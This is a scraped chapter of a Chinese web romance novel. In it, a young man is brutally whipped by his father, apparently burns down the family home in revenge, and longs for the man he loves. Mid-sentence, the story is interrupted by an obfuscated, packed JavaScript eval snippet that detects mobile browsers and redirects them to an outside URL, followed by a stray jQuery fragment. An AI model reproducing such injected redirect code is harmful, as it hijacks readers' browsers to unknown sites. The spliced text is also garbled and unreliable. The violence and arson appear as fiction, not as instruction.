季时忻开始跟他算旧账:“我之前给你发消息,你为什么没回?”
闻渊闭了下眼,忍不住想,闻行到底干了多大的祸事?
闻渊看了一下手表:“距离下班还有4个小时,你要是有什么不高兴的,等我下班了随你差遣。或者,想让我为你做别的什么事?”
季时忻一时半会儿,也没想到需要对方为自己做什么。
他在青年身上扫了一圈,忽然看见对方身上的一个鸮造型的挂坠。
有些眼熟,季时忻也有一个类似的。
闻渊顺着季时忻的目光看过去:“哦,这个。是我之前参加一次摄影比赛,拿到的奖励。”
季时忻:“你摄影技术很厉害?”
闻渊谦虚道:“还可以,不过那次是我侥幸赢了。”
那一届还有一件特殊的摄影作品,闻渊当时见了很喜欢,一直想见一见那位匿名摄影师,不过对方只远程提交了作品,本人并没有亲自到场。
闻渊:“他的作品很有灵气。如果不是我的作品恰好入了评委的眼,或许那一次获胜的将会是那副作品。对了。你喜欢吗?”
闻渊把挂坠摘下来,送给季时忻。
季时忻摇摇头,没有收。
他自己就有一个,还要闻渊的做什么?
季时忻对自己曾学过摄影有些印象,难道他跟闻渊是在摄影的时候认识、还变成情侣的?
季时忻越想越有道理,他现在大概知道,自己为什么会在记录重要事件的小本本上,写下那样一段话。
他确实对这个声音很敏感,他推断出自己和对方‘交往’,应该是存了想治病的心思。
闻渊还在问,有没有需要他帮忙的?
季时忻看着忽然收到的群聊提醒:“是有一件。我们班长说,院里要组办活动,还缺一个人。”
闻渊想想弟弟孤僻的性格,犹豫着要不要替闻行答应。
但闻渊转头看见季时忻那双、清亮迷人的眼睛,平静的心湖莫名泛起涟漪。
闻渊不受控制地点头:“我可以帮忙。我最近很闲。”
-
闻家。
闻行半跪在地上,后背被抽得血肉模糊。
闻间冰:“你到底有没有把我这个父亲放在眼里?”
闻行垂着头,任由身上滴着血。
他一言不发的模样,反而把闻间冰惹得更恼。
闻间冰:“背着我们改志愿,一走就是好几年,逢年过节一个电话都没有。要不是你洛叔叔的儿子,无意间拍到你的照片。我们还不知道,你现在每天不上学,就去咖啡店当兼职员工。堂堂闻家的二子,就去干这种丢人现眼的事。你让我的脸往哪儿搁?”
闻行声音很冷:“把我抓回来就是为了说这事?”
闻间冰:“闻行!你这是什么态度?”
“你们不是说,就当我死了,没有我这个儿子吗?那一直这么当着不就好了。至于别人的看法,和你的脸面,关我何事?”
闻间冰气得又抽了他好几下。
闻行不闪不躲,一副把闻间冰当空气的样子。
他这副无所谓的姿态,彻底激怒了闻间冰。
闻间冰抄起书桌上的砚台,用力投在闻行额头。
砸得是之前闻行受过伤的地方。
闻行感受到有血从自己的额间淌下,神色一变。
季时忻送给他的创可贴,被血弄脏了。
闻间冰对上闻行视线的瞬间,头回感觉二儿子的眼神陌生、又可怕。
他觉得自己的威严被挑衅,愈发怒道:“怎么?我是你爹。还不能教训你了?你怎么就不能像你哥那样,做个懂事又完美的孩子。你知道你哥最近又拿下了多少奖吗……”
闻行懒得再听,他站起身,摇摇晃晃地走进闻间冰。
在闻行彻底站直时,闻间冰恍然发觉,自己竟然要仰视这个儿子。
闻行用手背轻轻抹了抹额角的血,创可贴上的血非但没变少,还把整张脸抹的都是血。
闻间冰表情变了又变:“你想和我动手吗?”
闻行连个眼神都没施舍他,拿了手机,便头也不回地离开了闻家。
原来不是要还手,闻间冰想到自己刚才犯怂的样子,表情黑了又青。
……
走出闻家,闻行还来不及处理
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16445128|185070||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
自己满脸的血迹,急忙打开手机镜头。
发现创可贴被血糊满时,闻行平静的脸上,换上阴郁。
“闻间冰。”闻行在嘴中咀嚼着这个名字。
过了会儿,闻行去而折返。
青年面无表情地将面前的引子点燃,随手一丢。
-
身上被鞭打过的部位,开始隐隐作痛。
闻行扒开衣袖,看见不少鞭痕,皮开肉绽,看着有些可怖。
还有些丑。
闻行不怕丑,但是怕季时忻会嫌弃他。
估计得养好几天的伤。
早知道刚刚挨打的时候躲着点。
闻渊打电话过来:“闻行,家里忽然着火,爸爸最喜欢的那棵檀香紫檀被烧了。现在爸爸正在发火呢,这段时间你还是先不要回去了。对了,你怎么样?爸爸有打你吗?你们没有吵架吧?”
闻行扯了一下嘴角,不咸不淡地哦了一声:“那真是太不幸了。”
闻渊叹了口气,似乎想劝:“其实,爸爸只是性格那样,他心里还是很爱我们这两个儿子的。”
闻行懒得和他说这些有的没的,直截了当问道:“你去咖啡店了吗?今天工作怎么样?有没有遇到什么人?”
闻渊纠结了下:“有个拉小提琴的,很漂亮的男生……”
听到季时忻,闻行心一紧:“他有说什么吗?”
闻渊:“他邀请我,喔,不是,邀请你去参加一个活动。”
闻行沉默几秒:“我这几天不太方便,你帮我去吧。”
-
闻行没有去医院。
他直接打车回了公寓。
草草冲完身上的血迹,立刻躺到床上。
闻间冰打他的时候并没有留情,有好几下抽在了骨头上。
哪怕是蜷缩着,身上都止不住地疼。
闻行抱着一件小小的外套,深吸几口气,又将脸埋进外套里。
“哥哥……”
“季时忻……”
“好想你。”
‘叮咚’
熟悉的消息提示音响起。
闻行如获救赎,猛地抬起头。